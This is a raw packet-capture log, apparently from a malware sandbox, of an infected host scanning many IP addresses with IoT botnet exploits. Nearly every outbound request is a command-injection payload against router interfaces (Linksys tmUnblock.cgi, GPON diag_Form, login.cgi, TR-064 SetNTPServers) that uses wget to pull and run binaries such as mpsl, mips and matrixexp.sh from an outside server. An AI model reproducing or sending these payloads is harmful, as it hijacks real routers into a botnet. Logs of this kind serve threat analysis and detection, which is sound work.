Mar 21, 2024 05:23:22.124237061 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1600	192.168.2.13	43810	172.67.113.203	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:21.765420914 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1601	192.168.2.13	40980	172.65.199.49	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:21.765562057 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1602	192.168.2.13	55682	42.155.9.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:21.769506931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1603	192.168.2.13	49598	5.218.232.132	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:21.769565105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1604	192.168.2.13	35004	109.201.115.44	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:21.769591093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1605	192.168.2.13	48246	172.67.154.222	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:21.854255915 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:21.984232903 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1606	192.168.2.13	48208	172.67.154.222	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:21.924086094 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1607	192.168.2.13	59296	172.66.3.152	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:21.924097061 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1608	192.168.2.13	60830	185.81.4.198	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:22.023562908 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:23:22.219181061 CET	550	IN	HTTP/1.0 401 Access Denied WWW-Authenticate: Basic realm="APPing - app1.apping.it - Restricted access" Content-Length: 0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 27 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 46 69 6e 61 6c 2f 2f 45 4e 27 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 31 20 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 76 65 72 69 66 79 20 74 68 61 74 20 79 6f 75 0d 0a 61 72 65 20 61 75 74 68 6f 72 69 7a 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 0d 0a 72 65 71 75 65 73 74 65 64 2e 20 20 45 69 74 68 65 72 20 79 6f 75 20 73 75 70 70 6c 69 65 64 20 74 68 65 20 77 72 6f 6e 67 0d 0a 63 72 65 64 65 6e 74 69 61 6c 73 20 28 65 2e 67 2e 2c 20 62 61 64 20 70 61 73 73 77 6f 72 64 29 2c 20 6f 72 20 79 6f 75 72 0d 0a 62 72 6f 77 73 65 72 20 64 6f 65 73 6e 27 74 20 75 6e 64 65 72 73 74 61 6e 64 20 68 6f 77 20 74 6f 20 73 75 70 70 6c 79 0d 0a 74 68 65 20 63 72 65 64 65 6e 74 69 61 6c 73 20 72 65 71 75 69 72 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html '-//W3C//DTD HTML 4.01 Final//EN'><html><head><title>401 Authorization Required</title></head><body><h1>Authorization Required</h1><p>This server could not verify that youare authorized to access the documentrequested. Either you supplied the wrongcredentials (e.g., bad password), or yourbrowser doesn't understand how to supplythe credentials required.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1609	192.168.2.13	57600	212.227.89.63	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:22.047050953 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:22.219782114 CET	778	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:22 GMT Server: Apache Content-Length: 620 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 30 20 2d 20 42 61 64 20 72 65 71 75 65 73 74 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 30 20 2d 20 42 61 64 20 72 65 71 75 65 73 74 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 56 65 72 62 69 6e 64 75 6e 67 73 61 75 66 62 61 75 20 6e 69 63 68 74 20 6d 26 6f 75 6d 6c 3b 67 6c 69 63 68 20 6f 64 65 72 20 53 65 72 76 65 72 20 61 6e 74 77 6f 72 74 65 74 20 6e 69 63 68 74 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 400 - Bad request </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 400 - Bad request </h1> <p style="font-size:0.8em;"> Verbindungsaufbau nicht möglich oder Server antwortet nicht. </p> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1610	192.168.2.13	44050	89.90.202.244	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:22.306256056 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:23:25.356228113 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:23:31.501370907 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:23:31.665211916 CET	50	IN	HTTP/1.1 411 Length Required Connection: close Data Raw: Data Ascii:
Mar 21, 2024 05:23:31.665286064 CET	1	IN	Data Raw: 0a Data Ascii:
Mar 21, 2024 05:23:31.964509010 CET	50	IN	HTTP/1.1 411 Length Required Connection: close Data Raw: Data Ascii:
Mar 21, 2024 05:23:31.964570045 CET	1	IN	Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1611	192.168.2.13	60886	185.81.4.198	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:22.434508085 CET	279	IN	HTTP/1.0 400 Bad request Content-Type: text/html Content-Length: 193 Data Raw: 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 0a 20 20 20 20 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 77 68 69 63 68 20 74 68 69 73 20 77 65 62 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 0a 20 20 20 20 20 20 67 72 6f 6b 2e 3c 2f 70 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html> <head> <title>Bad Request</title> </head> <body> <h1>Bad Request</h1> <p>Your browser sent a request which this web server could not grok.</p> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1612	192.168.2.13	34462	178.79.175.195	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:22.469243050 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1613	192.168.2.13	54216	201.251.79.222	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:22.478662014 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1614	192.168.2.13	59048	113.182.198.10	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:22.561786890 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1615	192.168.2.13	44670	166.163.134.188	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:22.979443073 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1616	192.168.2.13	50964	212.172.221.11	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:23.035864115 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:23.211009979 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:23 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1617	192.168.2.13	60826	212.93.102.111	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:24.272155046 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:27.407346964 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:33.548258066 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:45.580254078 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1618	192.168.2.13	58892	79.149.35.32	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:24.493428946 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> 